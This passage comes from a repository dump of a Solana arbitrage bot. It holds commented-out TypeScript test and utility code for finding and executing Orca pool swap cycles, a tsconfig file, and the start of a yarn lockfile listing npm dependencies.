token1_idx = arb_path[i+1]; 323 | // let ex_rate = Math.exp(-graph[token0_idx][token1_idx]) 324 | // balance *= ex_rate; 325 | // } 326 | // console.log(`Arb Path ${j} = 1 -> ${balance}`) 327 | // if (balance > max_balance) { 328 | // max_balance = balance 329 | // max_balance_idx = j; 330 | // } 331 | // } 332 | 333 | // // visualize it 334 | // console.log('--- ARB VISUAL ---') 335 | // let arb_path = arb_paths[max_balance_idx] 336 | // let init_balance = 1; 337 | 338 | // var balance = init_balance; 339 | // var token_name = tokens[arb_path[0]].name; 340 | // for (i=0; i < arb_path.length-1; i++) { 341 | // var token0_idx = arb_path[i]; 342 | // var token1_idx = arb_path[i+1]; 343 | // let ex_rate = Math.exp(-graph[token0_idx][token1_idx]) 344 | 345 | // var token0_name = tokens[token0_idx].name; 346 | // var token1_name = tokens[token1_idx].name; 347 | 348 | // console.log(`\t BALANCE: ${balance} ${token_name}`) 349 | // console.log(`\t EXCHANGE RATE: 1 ${token0_name} = ${ex_rate} ${token1_name}`) 350 | 351 | // balance *= ex_rate; 352 | // token_name = token1_name; 353 | // console.log(`\t-> NEW BALANCE: ${balance} ${token_name}`) 354 | 355 | // console.log(`\t----`) 356 | // } 357 | // console.log('') 358 | 359 | // // setting up the trade 360 | // let init_token: orca_root.OrcaToken = tokens[arb_path[0]] 361 | // var init_token_account_addr = await orca_root.deriveAssociatedTokenAddress(owner.publicKey, init_token.mint); 362 | // var _start_balance = (await get_balance(connection, init_token_account_addr)) * 10 ** init_token.scale 363 | 364 | // // gather swap ixs 365 | // var ixs = [] 366 | // let amount_in = 1 * 10 ** 2; // 1 token with a 2 decimal mint 367 | // // record amount_in of FIRST swap 368 | // var start_ix = program.instruction.startSwap(new anchor.BN(amount_in), { 369 | // accounts: { 370 | // information: information_pda, 371 | // } 372 | // }); 373 | // ixs.push(start_ix) 374 | 375 | // for (i=0; i < arb_path.length-1; i++) { 376 | // var idx0 = arb_path[i]; 377 | // var idx1 = arb_path[i+1]; 378 | 379 | // let token0 = tokens[idx0]; 380 | // let token1 = tokens[idx1]; 381 | 382 | // var id:string = token0.name + token1.name; 383 | // var zero_to_one = true; 384 | // if (!(id in token2pool)) { 385 | // id = token1.name + token0.name; 386 | // zero_to_one = false; 387 | // } 388 | // let pool_params = token2poolparams[id] 389 | 390 | // var ixsss = await pool_swap_ix(program, owner, pool_params, zero_to_one); 391 | // ixs.push(...ixsss) 392 | // } 393 | 394 | // var ix = program.instruction.profitOrRevert(new anchor.BN(_start_balance), { 395 | // accounts: { 396 | // src: init_token_account_addr, 397 | // information: information_pda, 398 | // } 399 | // }) 400 | // ixs.push(ix) 401 | 402 | // const recentBlockHash = (await connection.getRecentBlockhash("singleGossip")).blockhash; 403 | // const txFields: web3.TransactionCtorFields = { 404 | // recentBlockhash: recentBlockHash, 405 | // feePayer: owner.publicKey, 406 | // }; 407 | // const transaction = new web3.Transaction(txFields) 408 | // .add(...ixs); 409 | 410 | // const signers = [owner]; 411 | 412 | // console.log('Balance: A, B, C:', 413 | // await get_balance(connection, accountA), 414 | // await get_balance(connection, accountB), 415 | // await get_balance(connection, accountC), 416 | // ) 417 | 418 | // let tx = await web3.sendAndConfirmTransaction(provider.connection, transaction, signers); 419 | // console.log('swap tx ...', tx); 420 | 421 | // console.log('Balance: A, B, C:', 422 | // await get_balance(provider.connection, accountA), 423 | // await get_balance(provider.connection, accountB), 424 | // await get_balance(provider.connection, accountC), 425 | // ) 426 | // }); 427 | -------------------------------------------------------------------------------- /src/tests/utils.ts: -------------------------------------------------------------------------------- 1 | // import * as web3 from '@solana/web3.js'; 2 | // import * as fs from 'fs'; 3 | // import { TOKEN_PROGRAM_ID } from "@solana/spl-token"; 4 | // import * as spl_token from "@solana/spl-token"; 5 | 6 | // // import * as orca_root from '../../orca_pools/typescript-sdk/src'; 7 | // // import { OrcaPoolParams } from '../../orca_pools/typescript-sdk/src/model/orca/pool/pool-types'; 8 | 9 | // export async function get_balance(connection: web3.Connection, addr: web3.PublicKey): Promise { 10 | // let b = await connection.getTokenAccountBalance(addr) 11 | // return b.value.uiAmount as number 12 | // } 13 | 14 | // export function decode_pool_base(path: string) { 15 | // let rawdata = fs.readFileSync(path, 'utf8'); 16 | // let poolParams = JSON.parse(rawdata); 17 | // // save pool information 18 | // function decode_key2base58(d: { [id: string] : string; } , newd: { [id: string] : string | web3.PublicKey | {}; } ): {} { 19 | // for (var key in d) { 20 | // let v = d[key]; 21 | // if (v.constructor.name == 'Object') { 22 | // newd[key] = {}; 23 | // newd[key] = decode_key2base58(v as {}, {}) 24 | // } else { 25 | // if (typeof(v) == 'string' && v.length > 10) { // pubkey string ? 26 | // newd[key] = new web3.PublicKey(v); 27 | // } else { 28 | // newd[key] = v; 29 | // } 30 | // } 31 | // } 32 | // return newd 33 | // } 34 | // let pool_params = decode_key2base58(poolParams, {}) 35 | // return pool_params 36 | // } 37 | 38 | // export function decode_poolparams(path: string): OrcaPoolParams { 39 | // let rawdata = fs.readFileSync(path, 'utf8'); 40 | // let poolParams = JSON.parse(rawdata); 41 | // // save pool information 42 | // function decode_key2base58(d: { [id: string] : string; } , newd: { [id: string] : string | web3.PublicKey | {}; } ): {} { 43 | // for (var key in d) { 44 | // let v = d[key]; 45 | // if (v.constructor.name == 'Object') { 46 | // newd[key] = {}; 47 | // newd[key] = decode_key2base58(v as {}, {}) 48 | // } else { 49 | // if (typeof(v) == 'string' && v.length > 10) { // pubkey string ? 50 | // newd[key] = new web3.PublicKey(v); 51 | // } else { 52 | // newd[key] = v; 53 | // } 54 | // } 55 | // } 56 | // return newd 57 | // } 58 | // let pool_params = decode_key2base58(poolParams, {}) as OrcaPoolParams; 59 | 60 | // // manually create feestructure percentages 61 | // pool_params.feeStructure.traderFee = orca_root.Percentage.fromFraction( 62 | // parseInt(pool_params.feeStructure.traderFee.numerator as unknown as string), 63 | // parseInt(pool_params.feeStructure.traderFee.denominator as unknown as string), 64 | // ) 65 | // pool_params.feeStructure.ownerFee = orca_root.Percentage.fromFraction( 66 | // parseInt(pool_params.feeStructure.ownerFee.numerator as unknown as string), 67 | // parseInt(pool_params.feeStructure.ownerFee.denominator as unknown as string), 68 | // ) 69 | // return pool_params 70 | // } 71 | 72 | // export async function deriveAssociatedTokenAddress( 73 | // walletAddress: web3.PublicKey, 74 | // tokenMint: web3.PublicKey 75 | // ): Promise { 76 | // return ( 77 | // await web3.PublicKey.findProgramAddress( 78 | // [walletAddress.toBuffer(), TOKEN_PROGRAM_ID.toBuffer(), tokenMint.toBuffer()], 79 | // spl_token.ASSOCIATED_TOKEN_PROGRAM_ID 80 | // ) 81 | // )[0]; 82 | // } 83 | -------------------------------------------------------------------------------- /src/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2019"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | "@babel/runtime@^7.11.2", "@babel/runtime@^7.12.5": 6 | version "7.17.2" 7 | resolved "https://registry.npmjs.org/@babel/runtime/-/runtime-7.17.2.tgz" 8 | integrity sha512-hzeyJyMA1YGdJTuWU0e/j4wKXrU4OMFvY2MSlaI9B7VQb0r5cxTE3EAIS2Q7Tn2RIcDkRvTA/v2JsAEhxe99uw== 9 | dependencies: 10 | regenerator-runtime "^0.13.4" 11 | 12 | "@ethersproject/bytes@^5.5.0": 13 | version "5.5.0" 14 | resolved "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.5.0.tgz" 15 | integrity sha512-ABvc7BHWhZU9PNM/tANm/Qx4ostPGadAuQzWTr3doklZOhDlmcBqclrQe/ZXUIj3K8wC28oYeuRa+A37tX9kog== 16 | dependencies: 17 | "@ethersproject/logger" "^5.5.0" 18 | 19 | "@ethersproject/logger@^5.5.0": 20 | version "5.5.0" 21 | resolved "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.5.0.tgz" 22 | integrity sha512-rIY/6WPm7T8n3qS2vuHTUBPdXHl+rGxWxW5okDfo9J4Z0+gRRZT0msvUdIJkE4/HS29GUMziwGaaKO2bWONBrg== 23 | 24 | "@ethersproject/sha2@^5.5.0": 25 | version "5.5.0" 26 | resolved "https://registry.npmjs.org/@ethersproject/sha2/-/sha2-5.5.0.tgz" 27 | integrity sha512-B5UBoglbCiHamRVPLA110J+2uqsifpZaTmid2/7W5rbtYVz6gus6/hSDieIU/6gaKIDcOj12WnOdiymEUHIAOA== 28 | dependencies: 29 | "@ethersproject/bytes" "^5.5.0" 30 | "@ethersproject/logger" "^5.5.0" 31 | hash.js "1.1.7" 32 | 33 | "@hapi/hoek@^9.0.0": 34 | version "9.2.1" 35 | resolved "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.2.1.tgz" 36 | integrity sha512-gfta+H8aziZsm8pZa0vj04KO6biEiisppNgA1kbJvFrrWu9Vm7eaUEy76DIxsuTaWvti5fkJVhllWc6ZTE+Mdw== 37 | 38 | "@hapi/topo@^5.0.0": 39 | version "5.1.0" 40 | resolved "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz" 41 | integrity sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg== 42 | dependencies: 43 | "@hapi/hoek" "^9.0.0" 44 | 45 | "@project-serum/anchor@^0.21.0": 46 | version "0.21.0" 47 | resolved "https://registry.npmjs.org/@project-serum/anchor/-/anchor-0.21.0.tgz" 48 | integrity sha512-flRuW/F+iC8mitNokx82LOXyND7Dyk6n5UUPJpQv/+NfySFrNFlzuQZaBZJ4CG5g9s8HS/uaaIz1nVkDR8V/QA== 49 | dependencies: 50 | "@project-serum/borsh" "^0.2.4" 51 | "@solana/web3.js" "^1.17.0" 52 | base64-js "^1.5.1" 53 | bn.js "^5.1.2" 54 | bs58 "^4.0.1" 55 | buffer-layout "^1.2.2" 56 | camelcase "^5.3.1" 57 | cross-fetch "^3.1.5" 58 | crypto-hash "^1.3.0" 59 | eventemitter3 "^4.0.7" 60 | find "^0.3.0" 61 | js-sha256 "^0.9.0" 62 | pako "^2.0.3" 63 | snake-case "^3.0.4" 64 | toml "^3.0.0" 65 | 66 | "@project-serum/borsh@^0.2.4": 67 | version "0.2.5" 68 | resolved "https://registry.npmjs.org/@project-serum/borsh/-/borsh-0.2.5.tgz" 69 | integrity sha512-UmeUkUoKdQ7rhx6Leve1SssMR/Ghv8qrEiyywyxSWg7ooV7StdpPBhciiy5eB3T0qU1BXvdRNC8TdrkxK7WC5Q== 70 | dependencies: 71 | bn.js "^5.1.2" 72 | buffer-layout "^1.2.0" 73 | 74 | "@sideway/address@^4.1.3": 75 | version "4.1.3" 76 | resolved "https://registry.npmjs.org/@sideway/address/-/address-4.1.3.tgz" 77 | integrity sha512-8ncEUtmnTsMmL7z1YPB47kPUq7LpKWJNFPsRzHiIajGC5uXlWGn+AmkYPcHNl8S4tcEGx+cnORnNYaw2wvL+LQ== 78 | dependencies: 79 | "@hapi/hoek" "^9.0.0" 80 | 81 | "@sideway/formula@^3.0.0": 82 | version "3.0.0" 83 | resolved "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.0.tgz" 84 | integrity sha512-vHe7wZ4NOXVfkoRb8T5otiENVlT7a3IAiw7H5M2+GO+9CDgcVUUsX1zalAztCmwyOr2RUTGJdgB+ZvSVqmdHmg== 85 | 86 | "@sideway/pinpoint@^2.0.0": 87 | version "2.0.0" 88 | resolved "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz" 89 | integrity sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ== 90 | 91 | "@solana/buffer-layout-utils@^0.2.0": 92 | version "0.2.0" 93 | resolved "https://registry.npmjs.org/@solana/buffer-layout-utils/-/buffer-layout-utils-0.2.0.tgz" 94 | integrity sha512-szG4sxgJGktbuZYDg2FfNmkMi0DYQoVjN2h7ta1W1hPrwzarcFLBq9UpX1UjNXsNpT9dn+chgprtWGioUAr4/g== 95 | dependencies: 96 | "@solana/buffer-layout" "^4.0.0" 97 | "@solana/web3.js" "^1.32.0" 98 | bigint-buffer "^1.1.5" 99 | bignumber.js "^9.0.1" 100 | 101 | "@solana/buffer-layout@^3.0.0": 102 | version "3.0.0" 103 | resolved "https://registry.npmjs.org/@solana/buffer-layout/-/buffer-layout-3.0.0.tgz" 104 | integrity sha512-MVdgAKKL39tEs0l8je0hKaXLQFb7Rdfb0Xg2LjFZd8Lfdazkg6xiS98uAZrEKvaoF3i4M95ei9RydkGIDMeo3w== 105 | dependencies: 106 | buffer "~6.0.3" 107 | 108 | "@solana/buffer-layout@^4.0.0": 109 | version "4.0.0" 110 | resolved "https://registry.npmjs.org/@solana/buffer-layout/-/buffer-layout-4.0.0.tgz" 111 | integrity sha512-lR0EMP2HC3+Mxwd4YcnZb0smnaDw7Bl2IQWZiTevRH5ZZBZn6VRWn3/92E3qdU4SSImJkA6IDHawOHAnx/qUvQ== 112 | dependencies: 113 | buffer "~6.0.3" 114 | 115 | "@solana/spl-token-swap@^0.1.2": 116 | version "0.1.2" 117 | resolved "https://registry.npmjs.org/@solana/spl-token-swap/-/spl-token-swap-0.1.2.tgz" 118 | integrity sha512-jAQXPPK+kpXYPNGHhmE1Z/wEPbxRd1WTlWsXU6z7MRbpU4spImQ5+UeULtLM6UitoRLtL3GpnL2RqAtanOe0Hw== 119 | dependencies: 120 | "@solana/web3.js" "^1.10.0" 121 | bn.js "^5.1.3" 122 | buffer-layout "^1.2.0" 123 | dotenv "10.0.0" 124 | json-to-pretty-yaml "^1.2.2" 125 | mkdirp "1.0.4" 126 | 127 | "@solana/spl-token@~0.2.0": 128 | version "0.2.0" 129 | resolved "https://registry.npmjs.org/@solana/spl-token/-/spl-token-0.2.0.tgz" 130 | integrity sha512-RWcn31OXtdqIxmkzQfB2R+WpsJOVS6rKuvpxJFjvik2LyODd+WN58ZP3Rpjpro03fscGAkzlFuP3r42doRJgyQ== 131 | dependencies: 132 | "@solana/buffer-layout" "^4.0.0" 133 | "@solana/buffer-layout-utils" "^0.2.0" 134 | "@solana/web3.js" "^1.32.0" 135 | start-server-and-test "^1.14.0" 136 | 137 | "@solana/web3.js@^1.10.0", "@solana/web3.js@^1.17.0", "@solana/web3.js@^1.32.0": 138 | version "1.35.1" 139 | resolved "https://registry.npmjs.org/@solana/web3.js/-/web3.js-1.35.1.tgz" 140 | integrity sha512-3bDawFFI0KcvgI8Ae4N4hdQ8+Bg9gu6q+IkhPrYxOF6RYnB3U+9A4u+DhHZWLvTvgoTyesi/m5HzlleKtFEqRQ== 141 | dependencies: 142 | "@babel/runtime" "^7.12.5" 143 | "@ethersproject/sha2" "^5.5.0" 144 | "@solana/buffer-layout" "^3.0.0" 145 | bn.js "^5.0.0" 146 | borsh "^0.4.0" 147 | bs58 "^4.0.1" 148 | buffer "6.0.1" 149 | cross-fetch "^3.1.4" 150 | jayson "^3.4.4" 151 | js-sha3 "^0.8.0" 152 | rpc-websockets "^7.4.2" 153 | secp256k1 "^4.0.2" 154 | superstruct "^0.14.2" 155 | tweetnacl "^1.0.0" 156 | 157 | "@types/bn.js@^4.11.5": 158 | version "4.11.6" 159 | resolved "https://registry.npmjs.org/@types/bn.js/-/bn.js-4.11.6.tgz" 160 | integrity sha512-pqr857jrp2kPuO9uRjZ3PwnJTjoQy+fcdxvBTvHm6dkmEL9q+hDD/2j/0ELOBPtPnS8LjCX0gI9nbl8lVkadpg== 161 | dependencies: 162 | "@types/node" "*" 163 | 164 | "@types/chai@^4.3.0": 165 | version "4.3.0" 166 | resolved "https://registry.npmjs.org/@types/chai/-/chai-4.3.0.tgz" 167 | integrity sha512-/ceqdqeRraGolFTcfoXNiqjyQhZzbINDngeoAq9GoHa8PPK1yNzTaxWjA6BFWp5Ua9JpXEMSS4s5i9tS0hOJtw== 168 | 169 | "@types/connect@^3.4.33": 170 | version "3.4.35" 171 | resolved "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz" 172 | integrity sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ== 173 | dependencies: 174 | "@types/node" "*" 175 | 176 | "@types/express-serve-static-core@^4.17.9": 177 | version "4.17.28" 178 | resolved "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.28.tgz" 179 | integrity sha512-P1BJAEAW3E2DJUlkgq4tOL3RyMunoWXqbSCygWo5ZIWTjUgN1YnaXWW4VWl/oc8vs/XoYibEGBKP0uZyF4AHig== 180 | dependencies: 181 | "@types/node" "*" 182 | "@types/qs" "*" 183 | "@types/range-parser" "*" 184 | 185 | "@types/json5@^0.0.29": 186 | version "0.0.29" 187 | resolved "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz" 188 | integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4= 189 | 190 | "@types/lodash@^4.14.159": 191 | version "4.14.178" 192 | resolved "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.178.tgz" 193 | integrity sha512-0d5Wd09ItQWH1qFbEyQ7oTQ3GZrMfth5JkbN3EvTKLXcHLRDSXeLnlvlOn0wvxVIwK5o2M8JzP/OWz7T3NRsbw== 194 | 195 | "@types/mocha@^9.1.0": 196 | version "9.1.0" 197 | resolved "https://registry.npmjs.org/@types/mocha/-/mocha-9.1.0.tgz" 198 | integrity sha512-QCWHkbMv4Y5U9oW10Uxbr45qMMSzl4OzijsozynUAgx3kEHUdXB00udx2dWDQ7f2TU2a2uuiFaRZjCe3unPpeg== 199 | 200 | "@types/node@*", "@types/node@^17.0.21": 201 | version "17.0.21" 202 | resolved "https://registry.npmjs.org/@types/node/-/node-17.0.21.tgz" 203 | integrity sha512-DBZCJbhII3r90XbQxI8Y9IjjiiOGlZ0Hr32omXIZvwwZ7p4DMMXGrKXVyPfuoBOri9XNtL0UK69jYIBIsRX3QQ== 204 | 205 | "@types/node@^12.12.54": 206 | version "12.20.46" 207 | resolved "https://registry.npmjs.org/@types/node/-/node-12.20.46.tgz" 208 | integrity sha512-cPjLXj8d6anFPzFvOPxS3fvly3Shm5nTfl6g8X5smexixbuGUf7hfr21J5tX9JW+UPStp/5P5R8qrKL5IyVJ+A== 209 | 210 | "@types/qs@*": 211 | version "6.9.7" 212 | resolved "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz" 213 | integrity sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw== 214 | 215 | "@types/range-parser@*": 216 | version "1.2.4" 217 | resolved "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz" 218 | integrity sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw== 219 | 220 | "@types/ws@^7.4.4": 221 | version "7.4.7" 222 | resolved "https://registry.npmjs.org/@types/ws/-/ws-7.4.7.tgz" 223 | integrity sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww== 224 | dependencies: 225 | "@types/node" "*" 226 | 227 | "@ungap/promise-all-settled@1.1.2": 228 | version "1.1.2" 229 | resolved "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz" 230 | integrity sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q== 231 | 232 | JSONStream@^1.3.5: 233 | version "1.3.5" 234 | resolved "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz" 235 | integrity sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ== 236 | dependencies: 237 | jsonparse "^1.2.0" 238 | through ">=2.2.7 <3" 239 | 240 | ansi-colors@4.1.1: 241 | version "4.1.1" 242 | resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz" 243 | integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA== 244 | 245 | ansi-regex@^5.0.1: 246 | version "5.0.1" 247 | resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz" 248 | integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ== 249 | 250 | ansi-styles@^4.0.0, ansi-styles@^4.1.0: 251 | version "4.3.0" 252 | resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz" 253 | integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== 254 | dependencies: 255 | color-convert "^2.0.1" 256 | 257 | anymatch@~3.1.2: 258 | version "3.1.2" 259 | resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz" 260 | integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg== 261 | dependencies: 262 | normalize-path "^3.0.0" 263 | picomatch "^2.0.4" 264 | 265 | argparse@^2.0.1: 266 | version "2.0.1" 267 | resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz" 268 | integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q== 269 | 270 | arrify@^1.0.0: 271 | version "1.0.1" 272 | resolved "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz" 273 | integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0= 274 | 275 | assertion-error@^1.1.0: 276 | version "1.1.0" 277 | resolved "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz" 278 | integrity sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw== 279 | 280 | axios@^0.21.1: 281 | version "0.21.4" 282 | resolved "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz" 283 | integrity sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg== 284 | dependencies: 285 | follow-redirects "^1.14.0" 286 | 287 | balanced-match@^1.0.0: 288 | version "1.0.2" 289 | resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz" 290 | integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw== 291 | 292 | base-x@^3.0.2: 293 | version "3.0.9" 294 | resolved "https://registry.npmjs.org/base-x/-/base-x-3.0.9.tgz" 295 | integrity sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ== 296 | dependencies: 297 | safe-buffer "^5.0.1" 298 | 299 | base64-js@^1.3.1, base64-js@^1.5.1: 300 | version "1.5.1" 301 | resolved "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz" 302 | integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== 303 | 304 | bigint-buffer@^1.1.5: 305 | version "1.1.5" 306 | resolved "https://registry.npmjs.org/bigint-buffer/-/bigint-buffer-1.1.5.tgz" 307 | integrity sha512-trfYco6AoZ+rKhKnxA0hgX0HAbVP/s808/EuDSe2JDzUnCp/xAsli35Orvk67UrTEcwuxZqYZDmfA2RXJgxVvA== 308 | dependencies: 309 | bindings "^1.3.0" 310 | 311 | bignumber.js@^9.0.1: 312 | version "9.0.2" 313 | resolved "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.2.tgz" 314 | integrity sha512-GAcQvbpsM0pUb0zw1EI0KhQEZ+lRwR5fYaAp3vPOYuP7aDvGy6cVN6XHLauvF8SOga2y0dcLcjt3iQDTSEliyw== 315 | 316 | binary-extensions@^2.0.0: 317 | version "2.2.0" 318 | resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz" 319 | integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== 320 | 321 | bindings@^1.3.0: 322 | version "1.5.0" 323 | resolved "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz" 324 | integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ== 325 | dependencies: 326 | file-uri-to-path "1.0.0" 327 | 328 | bluebird@3.7.2: 329 | version "3.7.2" 330 | resolved "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz" 331 | integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg== 332 | 333 | bn.js@^4.11.9: 334 | version "4.12.0" 335 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz" 336 | integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== 337 | 338 | bn.js@^5.0.0, bn.js@^5.1.2, bn.js@^5.1.3: 339 | version "5.2.0" 340 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-5.2.0.tgz" 341 | integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw== 342 | 343 | borsh@^0.4.0: 344 | version "0.4.0" 345 | resolved "https://registry.npmjs.org/borsh/-/borsh-0.4.0.tgz" 346 | integrity sha512-aX6qtLya3K0AkT66CmYWCCDr77qsE9arV05OmdFpmat9qu8Pg9J5tBUPDztAW5fNh/d/MyVG/OYziP52Ndzx1g== 347 | dependencies: 348 | "@types/bn.js" "^4.11.5" 349 | bn.js "^5.0.0" 350 | bs58 "^4.0.0" 351 | text-encoding-utf-8 "^1.0.2" 352 | 353 | brace-expansion@^1.1.7: 354 | version "1.1.11" 355 | resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz" 356 | integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== 357 | dependencies: 358 | balanced-match "^1.0.0" 359 | concat-map "0.0.1" 360 | 361 | braces@~3.0.2: 362 | version "3.0.2" 363 | resolved "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz" 364 | integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== 365 | dependencies: 366 | fill-range "^7.0.1" 367 | 368 | brorand@^1.1.0: 369 | version "1.1.0" 370 | resolved "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz" 371 | integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8= 372 | 373 | browser-stdout@1.3.1: 374 | version "1.3.1" 375 | resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz" 376 | integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw== 377 | 378 | bs58@^4.0.0, bs58@^4.0.1: 379 | version "4.0.1" 380 | resolved "https://registry.npmjs.org/bs58/-/bs58-4.0.1.tgz" 381 | integrity sha1-vhYedsNU9veIrkBx9j806MTwpCo= 382 | dependencies: 383 | base-x "^3.0.2" 384 | 385 | buffer-from@^1.0.0, buffer-from@^1.1.0: 386 | version "1.1.2" 387 | resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz" 388 | integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ== 389 | 390 | buffer-layout@^1.2.0, buffer-layout@^1.2.2: 391 | version "1.2.2" 392 | resolved "https://registry.npmjs.org/buffer-layout/-/buffer-layout-1.2.2.tgz" 393 | integrity 